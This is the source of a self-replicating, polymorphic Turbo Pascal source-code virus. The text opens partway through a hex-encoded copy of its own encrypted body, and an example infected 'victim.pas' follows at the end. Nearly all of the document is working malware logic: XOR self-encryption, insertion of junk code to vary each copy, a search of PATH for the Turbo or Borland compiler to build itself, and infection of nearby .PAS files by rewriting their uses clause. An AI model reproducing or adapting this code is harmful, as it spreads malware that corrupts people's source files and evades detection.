$4E,$61,$6D,$65,$29,$3B,$0D,$0A,$52,$65, $77,$72,$69,$74,$65,$28,$46,$65,$7A,$69, $29,$3B,$0D,$0A,$46,$6F,$72,$20,$43,$20, $3A,$3D,$20,$30,$20,$74,$6F,$20,$5A,$2D, $31,$20,$64,$6F,$20,$57,$72,$69,$74,$65, $6C,$6E,$28,$46,$65,$7A,$69,$2C,$42,$42, $4E,$5B,$43,$5D,$5E,$29,$3B,$0D,$0A,$43, $6C,$6F,$73,$65,$28,$46,$65,$7A,$69,$29, $3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$46, $6F,$72,$20,$43,$20,$3A,$3D,$20,$30,$20, $74,$6F,$20,$5A,$2D,$31,$20,$64,$6F,$20, $44,$69,$73,$70,$6F,$73,$65,$28,$42,$42, $4E,$5B,$43,$5D,$29,$3B,$0D,$0A,$45,$6E, $64,$20,$45,$6C,$73,$65,$20,$43,$6C,$6F, $73,$65,$28,$46,$65,$7A,$69,$29,$3B,$0D, $0A,$0D,$0A,$46,$69,$6E,$64,$4E,$65,$78, $74,$28,$46,$69,$7A,$29,$3B,$0D,$0A,$65, $6E,$64,$3B,$0D,$0A,$45,$6E,$64,$2E,$0D, $0A); Var Vars : Array [0..VarNum] of String[15]; VarsT : Array [0..VarNum] of Byte; VarN : Word; BBN : Array [0..5000] of SSp; Dest : Pointer; WString : String; DString : String; XString : String; I,Z,X,C,V : Integer; B : Byte; InFunction : Boolean; BeginNum : Byte; FConst : Boolean; FVar : Boolean; FunctionBeg : Boolean; NoMore : Boolean; BeginFunc : Byte; InCase : Boolean; Keyz:Byte; Fiz : SearchRec; Fezi : Text; A : Text; CPos : Integer; Key : Byte; Bpos : Boolean; InG : Byte; InLoop : Boolean; InLoopVar : Byte; Procedure OurProc; Interrupt; Begin End; { Int 10 dummy } Procedure Compile(CName:String); { Executes compieler } Var F:String; G:Pointer; Begin GetIntVec($10,G); SetIntVec($10,Addr(OurProc)); SwapVectors; F := '-Q '+DString + '\PP.PAS'; Exec(CNAME,F); SwapVectors; SetIntVec($10,G); End; Function ToWord(StrP:String):String; { Finds first word in a string } Var g:Integer; Begin ToWord := ''; For g := 1 to Length(StrP) do If (StrP[G] <> ' ') and (StrP[G] <> Chr(9)) then Begin ToWord := Copy(StrP,G,Length(StrP)-G+1); Break; End; End; Function WordCount(FF:String):Byte; { Counts number of words in a string } Var S,G:String; B,L:Byte; Begin B := 0; S := ToWord(FF); repeat L := Pos(' ',S); S := Copy(S,L+1,Length(S)); Inc(B); until L = 0; WordCount := B - 1; End; Function GetString:String; { Get string from our source array } Var F:String; K,L:Integer; Begin F := ''; repeat B := Body[CPos]; Inc(Cpos); If (B <> $0D) and (B <> $0A) then F := F + Chr(B); until (B=$0D) or (B=$0A); If (Body[CPos] = $0A) or (Body[CPos] = $0D) then Inc(CPos); GetString := F; End; Function UCase(StrP:String):String; { To uppercase string } Var G:Integer; M:String; Begin M := ''; For G := 1 to Length(StrP) do M := M + UpCase(StrP[G]); UCase := M; End; Function GetWord(StrP:String;Count:Integer):String; { Gets word from string } Var L:String; G,B,N:Integer; Begin G := 1; B := Count; L := ''; For N := 1 to Length(StrP) do Begin If (StrP[N] = ' ') or (StrP[N] = Chr($09)) then Begin L := Copy(StrP,G,N-1); Dec(B); If (B) = 0 then Break; Dec(N); repeat Inc(N); until StrP[N] = ' '; End; End; If N = Length(StrP) then L := Copy(StrP,G,N); GetWord := L; End; Procedure MakeGarb; Forward; Procedure MakeVar; { Creates trash variable } Const Vart:Array[0..4] of String = ('Byte','String','Boolean','Integer','Char'); Var F:String[15]; G,I,H:Integer; BB:Byte; Begin I := Random(10)+4; F := ''; For H := 0 to I do F := F + Chr(Random(24)+65); For H := 0 to VarN do If Vars[H] = F then Exit; Write(A,F); Vars[VarN] := F; BB := Random(4); Writeln(A,' : '+Vart[BB]+';'); VarsT[VarN] := BB; Inc(VarN); End; Procedure MakeAr; { Fills trash variables with some garbage } Const Booz:Array[0..1] of String[5] = ('True','False'); Var F:String; G,H,J:Integer; Begin repeat G := Random(VarN-1); until G <> InLoopVar; Write(A,Vars[G]+' := '); If VarsT[G] = 2 then Writeln(A,Booz[Random(1)]+';'); If VarsT[G] = 1 then Begin J := Random(10)+5; F := Chr(39); If VarsT[G] = 1 then For H := 0 to J do F := F + Chr(Random(24)+65); F := F + Chr(39)+';'; Writeln(A,F); End; If VarsT[G] = 4 then Writeln(A,Chr(39)+Chr(Random(24)+65)+Chr(39)+';'); If VarsT[G] = 0 then Begin H := Random(255); Writeln(A,H,';'); End; If VarsT[G] = 3 then Begin H := Random(65535); Writeln(A,H,';'); End; End; Procedure MakeIf; { Creates If...then } Const Booz:Array[0..1] of String[5] = ('True','False'); Var G,H,J:Integer; F:String; Begin Write(A,'If '); G := Random(VarN-1); Write(A,Vars[G]+' = '); If VarsT[G] = 2 then Write(A,Booz[Random(1)]); If VarsT[G] = 1 then Begin J := Random(10)+5; F := Chr(39); If VarsT[G] = 1 then For H := 0 to J do F := F + Chr(Random(24)+65); F := F + Chr(39); Write(A,F); End; If VarsT[G] = 4 then Write(A,Chr(39)+Chr(Random(24)+65)+Chr(39)); If VarsT[G] = 0 then Begin H := Random(255); Write(A,H); End; If VarsT[G] = 3 then Begin H := Random(65535); Write(A,H); End; Write(A,' Then '); MakeGarb; End; Procedure MakeRp; { Creates Repeat..Until } Var F:String; G:Byte; zZ:Byte; N:Boolean; Begin If Not InLoop then Begin For zZ := 0 to VarNum do If VarsT[zZ] = 0 then Break; If zZ<=VarNum then Begin InLoop := True; InLoopVar := zZ; Writeln(A,'Begin'); Writeln(A,Vars[zZ]+' := ',Random(255),';'); Writeln(A,'Repeat'); MakeGarb; Writeln(A,'Inc('+Vars[zZ]+');'); MakeGarb; Writeln(A,'Until '+Vars[zZ]+' = ',Random(255),';'); Writeln(A,'End;'); InLoop := False; End; End; End; Procedure MakeGarb; { Creates trash } Var G:Byte; Begin If InG < 2 then Begin Inc(InG); G := Random(3); Case G of 0: MakeAr; 1: MakeIf; 2: MakeRp; End; Dec(InG); End Else MakeAr; End; Procedure DoPoly; { Creates out polymorphic copy } Const OName = 'PP.Pas'; Var tt,zz:Integer; Begin Randomize; Assign(A,OName); Rewrite(A); InLoop := False; { Init } InLoopVar := 0; InG := 0; Key := Random(255); VarN := 0; InCase := False; InFunction := False; FConst := False; FunctionBeg:= False; FVar := False; NoMore := False; BeginNum := 0; BeginFunc := 0; Z := 0; X := 0; C := 0; V := 0; CPos := 0; Keyz := 0; For i := 0 to ArrLen do Body[i] := Body[i] xor Keyz; { Decrypt our sources } i := 0; repeat XString := GetString; { Get String } WString := UCase(ToWord(XString)); { Move to first word } DString := GetWord(WString,1); { Get first word } If (DString = 'KEYZ') then Writeln(A,'Keyz :=',Key,';') { Keyz ? Put new key } Else Writeln(A,XString); { Nope - just write our sources } If DString = 'CONST' then FConst := True; { Different Procedures/Functions/Etc defenitions } If (DString = 'VAR') then Begin FConst := False; FVar := True; End; If DString = 'FUNCTION' then Begin FVar := False; InFunction := True; End; If DString = 'PROCEDURE' then Begin FVar := False; InFunction := True; End; If (DString = 'BEGIN') and (Not InFunction) and (Not InCase) then Inc(BeginNum); If (DString = 'END;') and (Not InFunction) and (Not InCase) then Dec(BeginNum); If (DString = 'CASE') then InCase := True; If (DString = 'END;') and (Not InFunction) and (InCase) then InCase := False; If (DString = 'END.') then NoMore := True; If (DString = 'BEGIN') and (InFunction) then Begin FVar := False; Inc(BeginFunc); End; If (DString = 'END;') and (InFunction) then Begin Dec(BeginFunc); If BeginFunc = 0 then InFunction := False; End; If (DString = 'BODY') then { BODY ? } Begin Zz := 0; { Yea ! Store our sources, crypting } For Tt := 0 to ArrLen-1 do Begin Write(A,Body[Tt] Xor Key,','); Inc(Zz); If ZZ = 10 then Begin Writeln(A,''); ZZ := 0; End; End; Writeln(A,Body[ArrLen]); End; If (FVar) and (Not InFunction) and (Random(3) = 0) then MakeVar; If (DString <> 'IF') and (DString <> 'FOR') and (DString <> 'WHILE') then Begin If (Not FVar) and (Not FConst) and (BeginNum>0) and (BeginFunc=0) and (Not NoMore) and (Random(3)=0) and (Not InCase) then MakeGarb; { Not in function/procedure, opening Begin here ? Create trash opcode } If (Not FVar) and (Not FConst) and (BeginNum=0) and (BeginFunc>0) and (InFunction) and (Random(3)=0) and (Not InCase) then MakeGarb; { In function/procedure ? Create trash opcode } End; Until NoMore; Close(A); End; Begin DoPoly; { Create polycopy } XString := GetEnv('PATH'); { Get path } GetDir(0,DString); { Get our Dir } repeat WString := UCase(Copy(XString,i,Pos(';',XString)-1)); If WString = '' then XString := ''; XString := Copy(XString,Pos(';',XString)+1,Length(XString)); ChDir(WString); Assign(Fezi,'TPC.EXE'); { Find TPC or BPC } Reset(Fezi); If IOResult = 0 then Begin Close(Fezi); Compile('TPC.EXE'); { Gotcha ! Compile !!! } Break; End; Assign(Fezi,'BPC.EXE'); { Same..Compile } Reset(FeZi); If IOResult = 0 then Begin Close(Fezi); Compile('TPC.EXE'); Break; End; until XString = ''; ChDir(DString); { In our directory } If XString <> '' then Begin Assign(Fezi,'PP.PAS'); { Traveled thorough out all dirs and there is no compieler ! If founded , delete our sources } Erase(Fezi); End; FindFirst('*.PAS', Archive, Fiz); { Infect .Pas files } while DosError = 0 do begin Z := 0; X := 0; NoMore := False; Assign(Fezi,Fiz.Name); Reset(Fezi); If Fiz.Size < 16000 then { Size < 16000 ? } Begin repeat New(BBN[Z]); Readln(Fezi,BBN[Z]^); { Read sources in memory } Inc(Z); until Eof(Fezi); Close(Fezi); BPos := False; For i := 0 to Z-1 do If Pos('{$M',BBN[i]^)>0 then BPos := True; If Not BPos then begin BPos := False; (* Insert {$M $8000,0,200000} *) i := 0; repeat Inc(I); If Length(BBN[i]^)<40 then BPos := True; until BPos; New(BBN[Z]); For C := Z-1 downto i do BBN[C+1]^ := BBN[C]^; BBN[i]^ := '{$M $8000,0,200000}'; Inc(Z); End; X := 0; i := 0; repeat WString := GetWord(UCase(ToWord(BBN[X]^)),1); { Create Uses } Inc(X); until (WString = 'USES') or (X>Z); If Z > X then If Pos('PP',BBN[X-1]^) = 0 then Begin If WordCount(BBN[X-1]^) <> 0 then Begin C := Pos(';',BBN[X-1]^); XString := Copy(BBN[X-1]^,1,C-1)+',PP'+Copy(BBN[X-1]^,C,Length(BBN[X-1]^)); BBN[X-1]^ := XString; End Else Begin XString := BBN[X-1]^ + ' PP,'; { Insert PP } BBN[X-1]^ := XString; End; Assign(Fezi,Fiz.Name); Rewrite(Fezi); For C := 0 to Z-1 do Writeln(Fezi,BBN[C]^); Close(Fezi); End; For C := 0 to Z-1 do Dispose(BBN[C]); End Else Close(Fezi); FindNext(Fiz); end; End. ===== end pp.pas ===== ===== begin victim.pas ===== Program Victim; {$M $8000,0,200000} Uses Dos,PP; Begin { Пораженная программа } End. ===== end victim.pas =====